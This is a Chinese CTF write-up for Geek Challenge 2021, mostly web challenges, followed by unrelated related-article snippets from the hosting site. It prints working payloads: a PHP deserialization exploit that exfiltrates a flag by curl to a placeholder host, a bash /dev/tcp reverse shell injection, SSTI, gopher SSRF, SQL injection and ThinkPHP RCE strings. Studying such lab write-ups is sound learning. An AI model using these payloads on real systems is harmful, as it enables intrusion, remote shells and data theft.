极客大挑战 2021

news2024/9/29 13:23:22

题量很大,收获挺多,持续时间也长,据说结束之后会再持续一段时间,然后题目会开源。

WEB

Dark

暗网签到,难以置信

Welcome2021

改个请求方法会提示你文件,再进去就好了

babysql

直接把请求包扔sqlmap里,跑就完事了

sqlmap -r sql.txt -D flag -T fllag -C fllllllag --dump

babyPOP

题目:

<?php
class a {
    public static $Do_u_like_JiaRan = false;
    public static $Do_u_like_AFKL = false;
}

class b {
    private $i_want_2_listen_2_MaoZhongDu;
    public function __toString()
    {
        if (a::$Do_u_like_AFKL) {
            return exec($this->i_want_2_listen_2_MaoZhongDu);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

class c {
    public function __wakeup()
    {
        a::$Do_u_like_JiaRan = true;
    }
}

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "关注嘉然," . $this->value;
    }
}

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            ($this->afkl)();
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
}

很简单的pop链,链子很好构造,我最初的想法是:

调用exec,就要a::$Do_u_like_AFKL=true,全局中只有利用d类的invoke才行,调用toString需要把对象当作字符串用,刚好也在invoke里,如何调用invoke?e类的destruct就可以了,我之前是如何调用destruct的呢?我通常把这个类对象复制一份,再把原先那个unset,序列化原对象的副本就好了,但这个方法一般只适用于destruct为链子第一段,但这题不一样,需要满足里面的if语句,欲使a::$Do_u_like_JiaRan=true就要经过c类的wakeup,这里我刚开始就不会了。c怎么和e连起来?

这是最早的坎,还是那句话,太菜了

后来彻查destruct用法,又了解了显式销毁与隐式销毁后才明白destruct不只直接销毁调用。这里挂一下destruct与显隐销毁定义:

__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行

显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

所以当我们定义一个不存在的变量,再把这个变量创建为目标类的实例就好,因为这个对象本来就不存在,所以满足没有任何引用即满足destruct调用条件。

链子可以连起来了,那就没什么思路问题了,注意b里的私有属性,在b里改就行。

exp:

<?php
class b {
    private $i_want_2_listen_2_MaoZhongDu;
    public function __construct(){
        $this->i_want_2_listen_2_MaoZhongDu="curl http://xxx.xxx.xxx.xxx:xxxx/`base64 /flag`";
    }
}

class c {
    public $cv;
    public function __construct(){
        $this->cv=new e();
    }
}

class d {
    public $value;
    public function __construct()
    {
        $this->value=new b();
    }
}

class e {
    public $afkl;
    public function __construct(){
        $this->afkl=new d();
    }
}

$a=new c();
echo(base64_encode(serialize($a)));

这里还涉及一个无回显获取flag。当我们在exec里外带时发现有字符长度限制,使用base64带出,发现全是小写无法解密。这里写个脚本用于执行payload:

import requests
import base64

while 1:
    com = str(input('>>'))
    a = 'O:1:"c":1:{s:2:"cv";O:1:"e":1:{s:4:"afkl";O:1:"d":1:{s:5:"value";O:1:"b":1:{' \
        's:31:"\x00b\x00i_want_2_listen_2_MaoZhongDu";s:%s:"%s";}}}}' % (
            len(com), com)
    data = base64.b64encode(a.encode())
    b = requests.get('http://1.14.102.22:8114/?data=%s' % data)
    print(a)
    print(b.text)

在DNSlog里外带,但是我这里不知道是不是因为linux的原因,No Data

放一个朋友的

采用反弹shell发现弹不了不知道为啥。所以这里采用curl http://公网ip:端口/base64 /flag的方法。

这里进行反弹直接请求包解码出flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GNUMHnLX-1675906165629)(https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/2021_geek_challenge_web_babypop_3.png)]

where_is_my_FUMO

这题正向连接,也不知道是不是这么叫,反正这个箭头很有讲究,参考链接

题目:

<?php
function chijou_kega_no_junnka($str) {
    $black_list = [">", ";", "|", "{", "}", "/", " "];
    return str_replace($black_list, "", $str);
}

if (isset($_GET['DATA'])) {
    $data = $_GET['DATA'];
    $addr = chijou_kega_no_junnka($data['ADDR']);
    $port = chijou_kega_no_junnka($data['PORT']);
    exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
    highlight_file(__FILE__);
}

因为过滤空格,所以使用tab绕过

payload:DATA[ADDR]=ip&DATA[PORT]=port%091<%260

反弹成功后,flag居然是一张图片,那就只能二进制读取或者base了,而且终端有长度限制,所以使用tail与head截取

cat /flag.png | base64 | tail -n +1|head -n 8000

cat /flag.png | base64 | tail -n +8001|head -n 8000

每次读8000行,读两次,把读取到的base64编码转为图片就好了

babyphp

注释–>robots.txt–>noobcurl.php

<?php
function ssrf_me($url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
        echo $output;
}

if(isset($_GET['url'])){
    ssrf_me($_GET['url']);
}
else{
    highlight_file(__FILE__);
        echo "<!-- 有没有一种可能,flag在根目录 -->";
}

尝试file://伪协议读取?url=file:///flag出现flag

babyPy

最基础的SSTI,但我对这个python web不太了解,所以边百度边学的,放个链接

蒙的flag文件名

payload:{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('flag').read()}}

蜜雪冰城甜蜜蜜

说要买到第9号饮料,F12打开每个饮料都有一个id,随便找一个改成9,再点击这个商品就出flag了

雷克雅未克

恭喜EDG在冰岛雷克雅未克获得英雄联盟S11全球总决赛冠军!

这题很蠢,先看Cookie,查了自己经纬度,发现它把经度设置为y,纬度设置为x

那我查到雷克雅未克直接改Cookie不就行了吗,它验证的时候却反过来,x是经度,y是纬度

还有这题是改check.php的包,添加X-Forwarded-For: 5.23.95.255,Cookie: x=64.963943; y=-19.02116,回返回jsfuck代码

直接控制台打印就行

人民艺术家

用它给的帐号密码登录,抓返回包,发现有个JWT,放jwt.io里,改成如下

我也不知道怎么获得密钥,朋友和我说的爆破出1234,离大谱,把改好的发包过去即可看到文件名

访问即得flag

babyxss

直接闭合后面的符号,然后双写绕过

payload:'");</script>';}<script>alealertrt(1)</script>

Baby_PHP_Black_Magic_Enlightenment

套套套套套套套

第一层

PHP is the best Language
Have you ever heard about PHP Black Magic
<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no way"):NULL;    
if($temp>9999){
    echo file_get_contents('./2.php');
    echo "How's that possible";
} 
highlight_file(__FILE__);
//Art is long, but life is short. So I use PHP.
//I think It`s So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ le jiarenmen

?>

去了解一下is_numeric就可以了,payload:?password=10000a,提示居然在注释里,我找了好久

第二层

Just g1ve it a try. <?php
error_reporting(0);

$flag=getenv('flag');
if (isset($_GET['user']) and isset($_GET['pass'])) 
{
    if ($_GET['user'] == $_GET['pass'])
        echo 'no no no no way for you to do so.';
    else if (sha1($_GET['user']) === sha1($_GET['pass']))
      die('G1ve u the flag'.$flag);
    else
        echo 'not right';
}
else
    echo 'Just g1ve it a try.';
highlight_file(__FILE__);
?>

直接数组绕过就好了

payload:?user[]=a&pass[]=b

获得的flagbaby_revenge.php,进入第三层去掉flag访问baby_revenge.php

第三层

Just G1ve it a try. <?php
error_reporting(0);

$flag=getenv('fllag');
if (isset($_GET['user']) and isset($_GET['pass'])) 
{
    if ($_GET['user'] == $_GET['pass'])
        echo 'no no no no way for you to do so.';
    else if(is_array($_GET['user']) || is_array($_GET['pass']))
        die('There is no way you can sneak me, young man!');
    else if (sha1($_GET['user']) === sha1($_GET['pass'])){
      echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";
      die('Genji:We will see again Hanzo'.$flag.'<br/>');
    }
    else
        echo 'Wrong!';
}else
    echo 'Just G1ve it a try.';
highlight_file(__FILE__);
?>
//刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡 //刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡

这里我直接用的sha1碰撞

payload:

?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

我本地php测试发现他俩是不一样的,网上其他博主发的碰撞在我本地也显示也不一样,但是在这个靶机里这俩sha1一样,奇怪,根据提示访问here_s_the_flag.php进入第四层

第四层

<?php
$flag=getenv('flllllllllag');
if(strstr("Longlone",$_GET['id'])) {
  echo("no no no!<br>");
  exit();
}

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "Longlone")
{
  
  echo "flag: $flag";
}
highlight_file(__FILE__);
?>

这题刚开始也不会后来想起来在xctf做过一题,url二次编码,浏览器还是啥本身接收了一串url就会url解码一遍了,所以编码一次过不了第一个if,编码两次就可以了,后面会再解码一次的。

payload:?id=%254c%256f%256e%2567%256c%256f%256e%2565

即得flag

期末不挂科就算成功

注释里发现debug.php,访问它

发现url是传入文件,我们传入index.php,会直接显示渲染过的index.php页面,所以使用php伪协议用base64读取index.php源码

payload:?file=php://filter/convert.base64-encode/resource=index.php

记住不要直接从F12里复制base,它会省略一部分base,导致解码后显示不全代码,完整解码后有以下php代码:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的!!!
?>

很明显了,index.php传url,好像也没ban什么,这里采用gopher最强协议修改成绩,但在这之前我们需要知道内网的主机有哪些,可以爆破,但我这里查看/proc/net/arp和/etc/hosts两个文件。

两个文件里把在172.17.0.0/24网段下的拎出来

172.17.0.6	5769d2ff2afc

IP address       HW type     Flags       HW address            Mask     Device
172.17.0.242     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.233     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.246     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.237     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.229     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.249     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.253     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.232     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.241     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.236     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.245     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.248     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.252     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.235     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.7       0x1         0x2         02:42:ac:11:00:07     *        eth0
172.17.0.240     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.239     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.244     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.231     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.251     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.255     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.234     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.243     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.238     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.247     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.230     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.250     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.254     0x1         0x0         00:00:00:00:00:00     *        eth0
172.17.0.1       0x1         0x2         02:42:02:bf:e7:e3     *        eth0

这里去掉没硬件地址的,也就那几个,试一试就发现了,毕竟172.17.0.7开了80端口,然后去百度怎么利用gopher传post值,为什么是post,因为get我没试出来,而且传账密这种东西一般就是post,记住ssrf要url二次编码

payload:

?url=%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%37%2e%30%2e%37%3a%38%30%2f%5f%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41

出flag

成全

payload:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=/flag

刚开始一条命令直接出,后来改题目了,复现的时候没做出来

RE

PWN

恋爱小游戏

连上就是shell

CRYPTO

MISC

In the Air

人家学校里才能做,好兄弟发的

easysend

领取以太坊测试币,发过去就行了

这是什么命令

Intro && Hint: 命令执行的vps ip为 110.42.233.91 执行的命令 cat flag.png | base64 | base64 | tac | nl | sort -k 2 > flag.txt ;rm -f flag.png & nohup php -S 0.0.0.0:2333 >> /dev/null 2>&1 &

分开来分析
第一部分cat flag.png | base64 | base64 | tac | nl | sort -k 2 > flag.txt
tac:文件内容倒序输出
nl:输出文件内容并加上行号
sort -k 2:将内容从a-z排序后输出
所以第一条命令的含义就是将flag.png两次base64的值倒序后按A-Z加上行号输出至flag.txt

第二部分rm -f flag.png & nohup php -S 0.0.0.0:2333 >> /dev/null 2>&1 &
rm -r:删除文件
nohup:不挂断地运行命令
php -S:启动内置的web服务器
所以第二条命令的含义是删除图片,并在后台不间断的运行web服务器,端口为2333

直接访问http://110.42.233.91:2333/flag.txt,拿到数据直接上脚本

f=open('2333.txt')
d=f.readlines()
e=['']*500
import base64
for i in d:
    ca=i.strip().split()
    print(base64.b64decode(ca[1]))
    e[int(ca[0])]=base64.b64decode(ca[1])
f=open('2333.png','wb')

f.write(base64.b64decode(''.join(e[::-1])))
f.close()
print('ok')

flag在生成的图片里

其他的去好兄弟这里看吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/349104.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么是仓库管理?

仓库管理包括仓库日常运营所触及的准绳和流程。从较高的层次上讲&#xff0c;这包括接纳和组织仓库空间、布置劳动力、管理库存和完成订单。放大来看&#xff0c;你会发现有效的仓库管理触及到优化和集成这些过程中的每一个&#xff0c;以确保仓库操作的一切方面协同工作&#…

ElasticSearch之RestClient操作索引库和文档

前言&#xff1a;上文介绍了使用DSL语言操作索引库和文档&#xff0c;本篇文章将介绍使用Java中的RestClient来对索引库和文档进行操作。 希望能够加深自己的印象以及帮助到其他的小伙伴儿们&#x1f609;&#x1f609;。 如果文章有什么需要改进的地方还请大佬不吝赐教&#x…

linux系统编程1--文件编程read和write

write函数进行文件写入操作1.write函数原型&#xff1a;ssize_t write(int fd, const void *buf, size_t count);2.参数1&#xff1a;int fd&#xff0c;文件描述符即open函数的返回值&#xff1b;参数2&#xff1a;const void *buf&#xff0c;写入到fd文件内容的写入缓冲区&a…

10万字企业数字化(技术中台、数据中台、工业互联网平台建设方案

【版权声明】本资料来源网络&#xff0c;知识分享&#xff0c;仅供个人学习&#xff0c;请勿商用。【侵删致歉】如有侵权请联系小编&#xff0c;将在收到信息后第一时间删除&#xff01;完整资料关注公众号“智慧方案文库”&#xff0c;部分资料内容&#xff1a; 目录 1 概述 …

【nodejs-05】黑马nodejs学习笔记05-数据库基本操作02

文章目录4.在项目中操作MySQL4.1 在项目中操作数据库的步骤4.2 安装与配置 mysql 模块4.3 使用 mysql 模块操作 MySQL 数据库5.前后端的身份认证5.1 Web 开发模式5.2 身份认证5.3 Session 认证机制5.4 在 Express 中使用 Session 认证5.5 JWT 认证机制5.6 在 Express 中使用 JW…

用类比方式学习编程中函数递归(个人理解仅供参考)(内含汉诺塔问题的求解)

目录 1.前言 2.递归的数学模型 3.相关的c语法 4.将递归的数学模型写成编程语言 5.利用类比方法将实际问题的代码写成函数递归的形式 例1: 例2: 6.汉诺塔问题的求解 1.前言 本人在学习函数递归编程方法的过程中&#xff0c;发现用类比的方式学习递归法可帮助我们在各种编…

day14_类中成员之一:构造器

由来 我们发现我们new完对象时&#xff0c;所有成员变量都是默认值&#xff0c;如果我们需要赋别的值&#xff0c;需要挨个为它们再赋值&#xff0c;太麻烦了。我们能不能在new对象时&#xff0c;直接为当前对象的某个或所有成员变量直接赋值呢。可以&#xff0c;Java给我们提…

【算法】二分

作者&#xff1a;指针不指南吗 专栏&#xff1a;算法篇 &#x1f43e;或许会很慢&#xff0c;但是不可以停下来&#x1f43e; 文章目录1.二分思想2.二分模板3.二分应用1.二分思想 思想 单调的元素&#xff0c;一定可以二分&#xff1b;非单调不一定不能二分 每次把整个区间 [ …

【企业云端全栈开发实践-1】项目介绍及环境准备、Spring Boot快速上手

本节目录一、 项目内容介绍二、Maven介绍2.1 Maven作用2.2 Maven依赖2.3 本地仓库配置三、Spring Boot快速上手3.1 Spring Boot特点3.2 遇到的Bug&#xff1a;spring-boot-maven-plugin3.3 遇到的Bug2&#xff1a;找不到Getmapping四、开发环境热部署一、 项目内容介绍 本课程…

肿瘤HRR和HRD 简单记录

最近看到两个在肿瘤领域高频出现的词HRR和HRD&#xff0c; 遂简单记录下。 HRR和HRD的概念 当细胞受到外界不良环境的压力下往往会导致DNA的损伤&#xff0c;此时便会触发DNA 损伤反应 (DDR)&#xff0c;从而激活许多DNA修复通路。在这些DNA损伤中&#xff0c;DNA 双链断裂&a…

【云原生】centos7搭建安装k8s集群 v1.25版本详细教程实战

文章目录前言一. 实验环境二. k8s 的介绍三 . k8s的安装3.1 搭建实验环境3.1.1 硬件层面的要求3.1.2 软件层面环境配置3.2 docker的安装3.2.1 搭建docker3.2.2 部署 cri-dockerd3.3 部署k8s3.3.1 配置添加阿里云的yum源3.3.2 安装kubeadm kubelet kubectl3.3.3 k8s-master节点初…

浪涌保护器,防雷浪涌保护器的作用和类型指南

1&#xff0e; 什么是SPD浪涌保护器&#xff1f;地凯防雷SPD浪涌保护器是防止雷击导致故障的避雷器和浪涌保护设备。广泛用于电源浪涌对策的变阻器在通电超过规格的雷电浪涌电流、超过最大容许电路电压的过电压、过电流时&#xff0c;会进入短路故障模式&#xff0c;存在冒烟起…

Mysql元数据获取方法(information_schema绕过方法)

前提&#xff1a;如果waf或其它过滤了information_schema关键字&#xff0c;那我们该如何获取元数据呢&#xff1f;能够代替information_schema的有&#xff1a;sys.schema_auto_increment_columnssys.schema_table_statistics_with_bufferx$schema_table_statistics_with_buff…

大数据框架之Hadoop:HDFS(七)HDFS 2.X新特性

7.1集群间数据拷贝 scp实现两个远程主机之间的文件复制 ​ scp -r hello.txt roothadoop103:/root/hello.txt // 推 push ​ scp -r roothadoop103:/root/hello.txt hello.txt // 拉 pull ​ scp -r roothadoop103:/root/hello.txt roothadoop104:/root //是通过本地主机中…

计算机技术与软件(初级、中级、高级)考试(软考)是什么?软考的时间安排是什么时候?

一、软考是什么&#xff1f; 计算机技术与软件专业技术资格&#xff08;水平&#xff09;考试&#xff08;以下简称计算机软件资格考试&#xff09;是原中国计算机软件专业技术资格和水平考试&#xff08;简称软件考试&#xff09;的完善与发展。计算机软件资格考试是由国家人力…

Fluent工作目录

1 工作目录定义工作目录&#xff08;working directory&#xff09;是一种文件存储路径设置方式。基于工作目录的方法&#xff0c;写文件时只需要指定文件名&#xff0c;而不需要指定完全的文件路径&#xff0c;从而简化程序编写&#xff0c;对不同操作系统环境有更好的适应性。…

#笨鸟先飞# 数据结构与算法基础 课程笔记 第六章 图

图的定义和基本术语图&#xff1a;G( V , E ) Graph&#xff08;Vertex&#xff0c;Edge&#xff09;V&#xff1a;顶点&#xff08;数据元素&#xff09;的有穷非空集合&#xff1b;E&#xff1a;边的有穷集合。无向图&#xff1a;每条边都是无方向的有向图&#xff1a;每条边…

新手小白入门必看!如何批量注册Twitter账号?

Twitter是目前海外比较流行的社媒营销平台&#xff0c;所以很多从事跨境电商行业的朋友都需要利用多个Twitter账号来推广营销&#xff0c;但是注册和管理多个Twitter账号其实并不是简单的事情。龙哥将会在这里详细讲讲该如何批量注册并且让这些账号不会因为关联被封号&#xff…

如何合理地制定项目管理计划?

甘特图是一个比较常见的直观地项目管理专用工具&#xff0c;我们可以使用用Excel制作表格&#xff0c;也可是使用项目管理软件。 详细的项目计划不能完全保证项目成功&#xff0c;但是可以将失败的风险降到最低。通过项目管理软件的图标&#xff0c;项目管理者可以直观的查看任…

字符串的特殊读取——基于蓝桥杯两道题目(C/C++)

目录 1 例题 1.1 卡片换位 1.2 人物相关性分析 2 字符串的读取 2.1 综述 2.2 scanf 2.3 getline/getchar/get 2.4 注意 2.5 说明 先看例题 1 例题 1.1 卡片换位 问题描述 你玩过华容道的游戏吗&#xff1f; 这是个类似的&#xff0c;但更简单的游戏。 看…